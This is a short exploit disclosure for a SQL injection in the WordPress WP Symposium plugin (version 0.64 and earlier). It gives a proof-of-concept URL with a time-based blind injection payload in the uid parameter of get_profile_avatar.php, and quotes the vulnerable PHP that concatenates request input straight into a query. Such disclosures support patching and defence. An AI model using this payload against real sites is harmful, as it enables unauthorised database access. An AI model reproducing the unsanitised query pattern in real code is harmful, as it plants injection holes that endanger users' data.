# Exploit Title: WordPress WP Symposium plugin <= 0.64 SQL Injection Vulnerability
# Date: 2011-08-17
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-symposium.0.64.zip
# Version: 0.64 (tested)

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PoC
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http://localhost/wp-content/plugins/wp-symposium/uploadify/get_profile_avatar.php?uid=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

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Vulnerable code
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$uid = $_REQUEST['uid'];
$sql = "SELECT profile_avatar FROM ".$wpdb->base_prefix."symposium_usermeta WHERE uid = ".$uid;